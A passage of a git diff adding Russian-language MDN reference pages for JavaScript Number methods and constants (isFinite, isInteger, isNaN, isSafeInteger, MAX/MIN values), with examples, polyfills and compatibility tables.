+   <td>Добавлены новые методы и свойства: ({{jsxref("Number.EPSILON", "EPSILON")}}, {{jsxref("Number.isFinite", "isFinite")}}, {{jsxref("Number.isInteger", "isInteger")}}, {{jsxref("Number.isNaN", "isNaN")}}, {{jsxref("Number.parseFloat", "parseFloat")}} и {{jsxref("Number.parseInt", "parseInt")}})</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number-objects', 'Number')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Number")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/NaN", "NaN")}}</li>
+ <li>Глобальный объект {{jsxref("Global_Objects/Math", "Math")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/isfinite/index.html b/files/ru/web/javascript/reference/global_objects/number/isfinite/index.html
new file mode 100644
index 0000000000..26ed94a8c9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/isfinite/index.html
@@ -0,0 +1,130 @@
+---
+title: Number.isFinite()
+slug: Web/JavaScript/Reference/Global_Objects/Number/isFinite
+tags:
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Method
+  - Number
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isFinite
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Number.isFinite()</code></strong> определяет, является ли переданное значение конечным числом.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Number.isFinite(<var>testValue</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>testValue</code></dt>
+ <dd>Значение, проверяемое на конечность.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>В отличии от глобальной функции {{jsxref("Global_Objects/isFinite", "isFinite()")}}, этот метод принудительно не преобразует параметр в число. Это означает, что он возвращает <code>true</code> только для конечных значений числового типа.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">Number.isFinite(Infinity);  // false
+Number.isFinite(NaN);       // false
+Number.isFinite(-Infinity); // false
+
+Number.isFinite(0);         // true
+Number.isFinite(2e64);      // true
+
+Number.isFinite('0');       // false, при использовании глобальной
+                            // функции isFinite('0') было бы true
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<pre class="brush: js">Number.isFinite = Number.isFinite || function(value) {
+  return typeof value === 'number' &amp;&amp; isFinite(value);
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>
+    <p>{{SpecName('ES6', '#sec-number.isfinite', 'Number.isInteger')}}</p>
+   </td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("19")}}</td>
+   <td>{{CompatGeckoDesktop("16")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("15")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("16")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Объект {{jsxref("Global_Objects/Number", "Number")}}, которому принадлежит этот метод.</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/isinteger/index.html b/files/ru/web/javascript/reference/global_objects/number/isinteger/index.html
new file mode 100644
index 0000000000..433a19f64b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/isinteger/index.html
@@ -0,0 +1,95 @@
+---
+title: Number.isInteger()
+slug: Web/JavaScript/Reference/Global_Objects/Number/isInteger
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isInteger
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<p>Метод <strong><code>Number.isInteger()</code></strong> определяет, является ли переданное значение целым числом.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/number-isinteger.html")}}</p>
+
+
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Number.isInteger(<var>value</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Значение, проверяемое на целочисленность.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Boolean")}} сообщающий о том, является ли переданное значение целочисленным числом.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если целевое значение является целым числом, возвращает <code>true</code>. Если значение {{jsxref("NaN")}} или {{jsxref("Infinity")}}, то возвращает <code>false</code>. Метод также возвращает <code>true</code>, если это вещественное число с точкой, которое может быть представлено в целочисленном виде.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">Number.isInteger(0);         // true
+Number.isInteger(1);         // true
+Number.isInteger(-100000);   // true
+Number.isInteger(99999999999999999999999); // true
+
+Number.isInteger(0.1);       // false
+Number.isInteger(Math.PI);   // false
+
+Number.isInteger(NaN);       // false
+Number.isInteger(Infinity);  // false
+Number.isInteger(-Infinity); // false
+Number.isInteger('10');      // false
+Number.isInteger(true);      // false
+Number.isInteger(false);     // false
+Number.isInteger([1]);       // false
+
+Number.isInteger(5.0);       // true
+Number.isInteger(5.000000000000001); // false
+Number.isInteger(5.0000000000000001); // true</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<pre class="brush: js">Number.isInteger = Number.isInteger || function(value) {
+  return typeof value === 'number' &amp;&amp;
+    isFinite(value) &amp;&amp;
+    Math.floor(value) === value;
+};</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+  </tr>
+  <tr>
+   <td>
+    <p>{{SpecName('ESDraft', '#sec-number.isinteger', 'Number.isInteger')}}</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+
+
+<div></div>
+
+<div>{{Compat("javascript.builtins.Number.isInteger")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Объект {{jsxref("Number")}}, которому принадлежит этот метод.</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/isnan/index.html b/files/ru/web/javascript/reference/global_objects/number/isnan/index.html
new file mode 100644
index 0000000000..173fd76c17
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/isnan/index.html
@@ -0,0 +1,96 @@
+---
+title: Number.isNaN()
+slug: Web/JavaScript/Reference/Global_Objects/Number/isNaN
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Number
+  - Reference
+  - Référence(2)
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isNaN
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Number.isNaN()</code></strong> определяет, является ли переданное значение {{jsxref("Global_Objects/NaN", "NaN")}}. Это более надёжная версия оригинальной глобальной функции {{jsxref("Global_Objects/isNaN", "isNaN()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Number.isNaN(<var>value</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Значение, проверяемое на {{jsxref("Global_Objects/NaN", "NaN")}}.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку оба оператора проверки на равенство, {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} и {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}, вычисляются в <code>false</code> при проверке, что {{jsxref("Global_Objects/NaN", "NaN")}} <em>и есть</em> {{jsxref("Global_Objects/NaN", "NaN")}}, появляется необходимость в функции <code>Number.isNaN()</code>. Эта ситуация отличается от всех других возможных сравнений в JavaScript.</p>
+
+<p>В отличие от глобальной функции {{jsxref("Global_Objects/isNaN", "isNaN()")}}, <code>Number.isNaN()</code> не имеет проблемы принудительного преобразования параметра в число. Это значит, что в него безопасно передавать значения, которые обычно превращаются в {{jsxref("Global_Objects/NaN", "NaN")}}, но на самом деле {{jsxref("Global_Objects/NaN", "NaN")}} не являются. Также это значит, что метод возвращает <code>true</code> только для числовых значений, имеющих значение {{jsxref("Global_Objects/NaN", "NaN")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">Number.isNaN(NaN); // true
+Number.isNaN(Number.NaN); // true
+Number.isNaN(0 / 0) // true
+
+// При использовании глобальной функции isNaN() это всё будет true
+Number.isNaN('NaN');      // false
+Number.isNaN(undefined);  // false
+Number.isNaN({});         // false
+Number.isNaN('blabla');   // false
+
+// А это всё в любом случае будет false
+Number.isNaN(true);
+Number.isNaN(null);
+Number.isNaN(37);
+Number.isNaN('37');
+Number.isNaN('37.37');
+Number.isNaN('');
+Number.isNaN(' ');
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<pre class="brush: js">Number.isNaN = Number.isNaN || function(value) {
+  return typeof value === 'number' &amp;&amp; isNaN(value);
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>
+    <p>{{SpecName('ES6', '#sec-number.isnan', 'Number.isnan')}}</p>
+   </td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.isNaN")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Number", "Number")}}</li>
+ <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/issafeinteger/index.html b/files/ru/web/javascript/reference/global_objects/number/issafeinteger/index.html
new file mode 100644
index 0000000000..9fbc3bb7d9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/issafeinteger/index.html
@@ -0,0 +1,95 @@
+---
+title: Number.isSafeInteger()
+slug: Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Number
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <strong><code>Number.isSafeInteger()</code></strong> определяет, является ли переданное значение <dfn>безопасным целым числом</dfn>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-issafeinteger.html")}}</div>
+
+
+
+<p>Безопасное целое число это такое число, которое:</p>
+
+<ul>
+ <li>может быть точно представлено числом IEEE-754 двойной точности и</li>
+ <li>чьё представление IEEE-754 не может быть результатом округления любого другого целого числа, соответствующего представлению IEEE-754.</li>
+</ul>
+
+<p>Например, число <code>2<sup>53</sup> - 1</code> является безопасным целым числом: оно может быть представлено точно и никакое другое целое число не округляется к нему ни в каком режиме округления IEEE-754. В противовес ему, число <code>2<sup>53</sup></code> <em>не является</em> безопасным целым числом: оно может быть точно представлено в IEEE-754, но целое число <code>2<sup>53</sup> + 1</code> не может быть напрямую представлено в IEEE-754 и округляется к числу <code>2<sup>53</sup></code> в режимах округления к ближайшему и к нулю. Безопасные целые числа состоят из всех целых чисел в диапазоне от <code>-(2<sup>53</sup> - 1)</code> до <code>2<sup>53</sup> - 1</code> включительно (± <code>9007199254740991</code> или ± 9,007,199,254,740,991).</p>
+
+<p>Обработка значений, больших или меньших чем ~9 квадриллионов, с высокой точностью требует использования <a href="https://ru.wikipedia.org/wiki/%D0%94%D0%BB%D0%B8%D0%BD%D0%BD%D0%B0%D1%8F_%D0%B0%D1%80%D0%B8%D1%84%D0%BC%D0%B5%D1%82%D0%B8%D0%BA%D0%B0">библиотеки, умеющей работать с длиной арифметикой</a>. Ознакомьтесь с <a href="http://floating-point-gui.de/">Что Каждому Программисту Необходимо Знать об Арифметике с Вещественными числами</a> для получения дополнительной информации о представлении чисел, с плавающей запятой.</p>
+
+<p>Для больших целочисленных значений, рассмотрите возможность использования типа {{jsxref("BigInt")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code>Number.isSafeInteger(<var>testValue</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>testValue</code></dt>
+ <dd>Значение, проверяемое на целочисленную «безопасность».</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Boolean")}} значение, сообщающее о том, является ли переданное значение безопасным целочисленным числом или же нет.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js notranslate">Number.isSafeInteger(3);                    // true
+Number.isSafeInteger(Math.pow(2, 53));      // false
+Number.isSafeInteger(Math.pow(2, 53) - 1);  // true
+Number.isSafeInteger(NaN);                  // false
+Number.isSafeInteger(Infinity);             // false
+Number.isSafeInteger('3');                  // false
+Number.isSafeInteger(3.1);                  // false
+Number.isSafeInteger(3.0);                  // true
+</pre>
+
+<h2 id="Specifications" name="Specifications">Полифилл</h2>
+
+<pre class="brush: js notranslate">Number.isSafeInteger = Number.isSafeInteger || function (value) {
+   return Number.isInteger(value) &amp;&amp; Math.abs(value) &lt;= Number.MAX_SAFE_INTEGER;
+};</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+  </tr>
+  <tr>
+   <td>
+    <p>{{SpecName('ESDraft', '#sec-number.issafeinteger', 'Number.isSafeInteger')}}</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.isSafeInteger")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Объект {{jsxref("Number")}}, которому принадлежит этот метод.</li>
+ <li>{{jsxref("Number.MIN_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("BigInt")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/max_safe_integer/index.html b/files/ru/web/javascript/reference/global_objects/number/max_safe_integer/index.html
new file mode 100644
index 0000000000..652a6aa821
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/max_safe_integer/index.html
@@ -0,0 +1,65 @@
+---
+title: Number.MAX_SAFE_INTEGER
+slug: Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Константа <strong><code>Number.MAX_SAFE_INTEGER</code></strong> представляет максимальное безопасное целочисленное значение в JavaScript (<code>2<sup>53</sup> - 1</code>).</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Константа <code>MAX_SAFE_INTEGER</code> имеет значение <code>9007199254740991</code>. Смысл этого числа в том, что в JavaScript используется <a href="https://ru.wikipedia.org/wiki/Число_двойной_точности">формат чисел с плавающей запятой двойной точности</a>, как определено в стандарте <a href="https://ru.wikipedia.org/wiki/IEEE_754">IEEE 754</a>, а он может безопасно представлять числа только в диапазоне от <code>-(2<sup>53</sup> - 1)</code> до <code>2<sup>53</sup> - 1</code>.</p>
+
+<p>Поскольку <code>MAX_SAFE_INTEGER</code> является статическим свойством объекта {{jsxref("Global_Objects/Number", "Number")}}, вы всегда должны использовать его как <code>Number.MAX_SAFE_INTEGER</code>, а не как свойство созданного вами объекта {{jsxref("Global_Objects/Number", "Number")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">Number.MAX_SAFE_INTEGER // 9007199254740991
+Math.pow(2, 53) - 1     // 9007199254740991
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<pre class="brush: js">if (!Number.MAX_SAFE_INTEGER) {
+    Number.MAX_SAFE_INTEGER = 9007199254740991; // Math.pow(2, 53) - 1;
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.max_safe_integer', 'Number.MAX_SAFE_INTEGER')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.MAX_SAFE_INTEGER")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Number.MIN_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("Number.isSafeInteger()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/max_value/index.html b/files/ru/web/javascript/reference/global_objects/number/max_value/index.html
new file mode 100644
index 0000000000..7472d91e57
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/max_value/index.html
@@ -0,0 +1,110 @@
+---
+title: Number.MAX_VALUE
+slug: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE
+tags:
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Number.MAX_VALUE</code></strong> представляет максимальное числовое значение, представимое в JavaScript.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Свойство <code>MAX_VALUE</code> имеет значение, приблизительно равное <code>1.79E+308</code>. Значения, большие <code>MAX_VALUE</code> представляются как «бесконечность».</p>
+<p>Поскольку <code>MAX_VALUE</code> является статическим свойством объекта {{jsxref("Global_Objects/Number", "Number")}}, вы всегда должны использовать его как <code>Number.MAX_VALUE</code>, а не как свойство созданного вами объекта {{jsxref("Global_Objects/Number", "Number")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_MAX_VALUE" name="Example:_Using_MAX_VALUE">Пример: использование <code>MAX_VALUE</code></h3>
+<p>В следующем примере кода производится умножение двух значений. Если результат меньше или равен <code>MAX_VALUE</code>, вызывается функция <code>func1</code>; в противном случае вызывается функция <code>func2</code>.</p>
+<pre class="brush: js">if (num1 * num2 &lt;= Number.MAX_VALUE) {
+  func1();
+} else {
+  func2();
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.2', 'Number.MAX_VALUE')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.max_value', 'Number.MAX_VALUE')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Number.MIN_VALUE")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/min_safe_integer/index.html b/files/ru/web/javascript/reference/global_objects/number/min_safe_integer/index.html
new file mode 100644
index 0000000000..58a21e845c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/min_safe_integer/index.html
@@ -0,0 +1,105 @@
+---
+title: Number.MIN_SAFE_INTEGER
+slug: Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Константа <strong><code>Number.MIN_SAFE_INTEGER</code></strong> представляет минимальное безопасное целочисленное значение в JavaScript (<code>-(2<sup>53</sup> - 1)</code>).</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Константа <code>MIN_SAFE_INTEGER</code> имеет значение <code>-9007199254740991</code>. Смысл этого числа в том, что в JavaScript используется <a href="https://ru.wikipedia.org/wiki/Число_двойной_точности">формат чисел с плавающей запятой двойной точности</a>, как определено в стандарте <a href="https://ru.wikipedia.org/wiki/IEEE_754">IEEE 754</a>, а он может безопасно представлять числа только в диапазоне от <code>-(2<sup>53</sup> - 1)</code> до <code>2<sup>53</sup> - 1</code>.</p>
+
+<p>Поскольку <code>MIN_SAFE_INTEGER</code> является статическим свойством объекта {{jsxref("Global_Objects/Number", "Number")}}, вы всегда должны использовать его как <code>Number.MIN_SAFE_INTEGER</code>, а не как свойство созданного вами объекта {{jsxref("Global_Objects/Number", "Number")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">Number.MIN_SAFE_INTEGER // -9007199254740991
+-(Math.pow(2, 53) - 1)  // -9007199254740991
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.min_safe_integer', 'Number.MIN_SAFE_INTEGER')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("34")}}</td>
+   <td>{{CompatGeckoDesktop("31")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("32")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("Number.isSafeInteger()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/min_value/index.html b/files/ru/web/javascript/reference/global_objects/number/min_value/index.html
new file mode 100644
index 0000000000..0c9c2fded1
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/min_value/index.html
@@ -0,0 +1,122 @@
+---
+title: Number.MIN_VALUE
+slug: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE
+tags:
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Свойство <strong><code>Number.</code><span style="font-family: consolas,monaco,andale mono,monospace;">MIN_VALUE</span></strong> представляет минимальное положительное числовое значение, представимое в JavaScript.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Свойство <code>MIN_VALUE</code> является положительным ближайшим к нулю числом, которое может быть представлено в JavaScript.</p>
+
+<p><code>MIN_VALUE</code> имеет значение, приблизительно равное <code>5e-324</code>. Значения, меньшие <code>MIN_VALUE</code>, преобразуются в 0 (так называемое «исчезновение порядка» или «антипереполнение»).</p>
+
